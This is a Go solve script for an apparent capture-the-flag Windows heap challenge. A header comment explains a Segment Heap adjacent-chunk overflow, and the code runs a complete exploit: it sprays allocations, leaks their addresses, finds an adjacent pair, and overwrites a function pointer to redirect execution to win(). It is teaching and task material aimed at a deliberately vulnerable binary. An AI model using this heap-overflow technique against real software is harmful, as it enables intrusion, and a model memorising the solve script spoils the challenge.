/*
Solve script for heap_segment.exe (see src/heap_segment.c): an
adjacent-chunk heap overflow on a real Segment-Heap-backed process heap
(the target opts in via an embedded manifest; GetProcessHeap() really is
Segment Heap, confirmed in the C source's own startup banner).

Segment Heap's "Small" allocator packs same-size allocations densely into
4KB pages, but *not* in allocation order -- the offset within the page is
randomized per allocation (empirically verified while building this:
twenty sequential 32-byte allocations land all over a single page, not
back-to-back). So instead of assuming adjacency, this script leaks every
allocation's address (the target's A command happens to print it, the
same "legitimate bookkeeping output doubles as the leak primitive" pattern
as examples/heap_lfh) and searches the leaked addresses for a pair that
really is exactly sizeof(Profile)=32 bytes apart. Empirically, a spray of
20 always contains at least one such pair on this machine/OS build.

Once found: id_a's name buffer is overflowable past its own 32 bytes
straight into id_b's struct, landing on id_b's `describe` function
pointer at offset 24-31 of id_b -- i.e. offset 56-63 relative to id_a's
own allocation start. The spray/pair-search loop is winpwn.SprayAndFind
(spray.go) -- the same primitive examples/heap_lfh uses for a structurally
different relation (equality against one known target, instead of a
distance check across everything sprayed).

NOTE FOR TASK AUTHORS (not specific to this task -- read this before
designing your own heap challenge): "20 always contains a pair" and the
profileSize=32 distance check are facts about *this exact struct, on this
exact Windows build*, measured empirically by spraying it for real -- not
something Segment Heap guarantees as a stable contract. Segment Heap's
"Small" allocator's packing behavior is liable to differ across Windows
versions (and possibly even across runs on heavily fragmented heaps).
Anyone reusing this adjacent-overflow approach for a different struct size
or a different machine should re-run the same empirical step this script
already does at runtime -- spray N, leak every address, check for the
expected distance -- rather than hardcoding a spray count or an offset
copied from this writeup and assuming it transfers.
*/
package main

import (
	"bytes"
	"fmt"
	"log"
	"strconv"
	"winpwn"
)

func parseIDAndAddr(line []byte) (int, uint64, error) {
	idIdx := bytes.Index(line, []byte("id="))
	addrIdx := bytes.Index(line, []byte("addr=0x"))
	if idIdx == -1 || addrIdx == -1 {
		return 0, 0, fmt.Errorf("unparseable line %q", line)
	}
	idPart := bytes.Fields(line[idIdx+len("id="):])[0]
	id, err := strconv.Atoi(string(idPart))
	if err != nil {
		return 0, 0, err
	}
	addrPart := bytes.TrimSpace(line[addrIdx+len("addr=0x"):])
	addr, err := strconv.ParseUint(string(addrPart), 16, 64)
	if err != nil {
		return 0, 0, err
	}
	return id, addr, nil
}

const profileSize = 32 // sizeof(Profile): char name[24] + void* describe

func main() {
	pf, err := winpwn.OpenPE("heap_segment.exe")
	if err != nil {
		log.Fatalf("OpenPE: %v", err)
	}
	winRVA, err := pf.GetProcAddress("win")
	if err != nil {
		log.Fatalf("win() not found: %v", err)
	}
	base, err := pf.ImageBase()
	if err != nil {
		log.Fatalf("ImageBase: %v", err)
	}
	winAddr := base + winRVA
	pf.Close()
	fmt.Printf("[+] win() address: 0x%X\n", winAddr)

	tube, err := winpwn.Spawn("heap_segment.exe")
	if err != nil {
		log.Fatalf("Spawn: %v", err)
	}

	readyLine, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine: %v", err)
	}
	fmt.Printf("[*] %s", readyLine)

	// winpwn.SprayAndFind with no seed: every newly sprayed allocation is
	// checked against everything sprayed before it for the one relation
	// that matters here -- "exactly sizeof(Profile) apart" -- rather than
	// collecting all addresses first and searching afterward.
	const spray = 20
	a, b, _, ok, err := winpwn.SprayAndFind(
		nil,
		spray,
		func(i int) (winpwn.SprayResult[uint64], error) {
			if err := tube.SendLine([]byte(fmt.Sprintf("A filler%d", i))); err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("SendLine: %w", err)
			}
			resp, err := tube.RecvLine()
			if err != nil {
				return winpwn.SprayResult[uint64]{}, fmt.Errorf("RecvLine: %w", err)
			}
			id, addr, err := parseIDAndAddr(resp)
			return winpwn.SprayResult[uint64]{ID: id, Key: addr}, err
		},
		func(x, y uint64) bool {
			d := int64(y) - int64(x)
			return d == profileSize || d == -profileSize
		},
	)
	if err != nil {
		log.Fatalf("spray: %v", err)
	}
	if !ok {
		log.Fatalf("no adjacent pair found in a spray of %d -- try a bigger spray", spray)
	}

	// match() is direction-agnostic (it only checks |distance|), so the
	// attacker (the lower address -- it overflows *forward* into the
	// victim) needs to be picked out by comparing the two found keys, not
	// just trusting which one SprayAndFind happened to label "older".
	attackerID, victimID := a.ID, b.ID
	attackerAddr, victimAddr := a.Key, b.Key
	if a.Key > b.Key {
		attackerID, victimID = b.ID, a.ID
		attackerAddr, victimAddr = b.Key, a.Key
	}
	fmt.Printf("[+] found adjacent pair: attacker id=%d (0x%X), victim id=%d (0x%X)\n",
		attackerID, attackerAddr, victimID, victimAddr)

	// 56 bytes of filler to walk past the attacker's own 32-byte
	// allocation and the victim's name[24], landing exactly on the
	// victim's `describe` field (offset 24 within the victim, i.e.
	// offset 32+24=56 from the attacker's allocation start).
	payload := bytes.Repeat([]byte{0x41}, 56)
	payload = append(payload, winpwn.P64(winAddr)...)
	payloadHex := winpwn.Enhex(payload)

	if err := tube.SendLine([]byte(fmt.Sprintf("O %d %s", attackerID, payloadHex))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}
	resp, err := tube.RecvLine()
	if err != nil {
		log.Fatalf("RecvLine: %v", err)
	}
	fmt.Printf("[*] overflow response: %s", resp)

	if err := tube.SendLine([]byte(fmt.Sprintf("D %d", victimID))); err != nil {
		log.Fatalf("SendLine: %v", err)
	}

	tube.Interactive()
}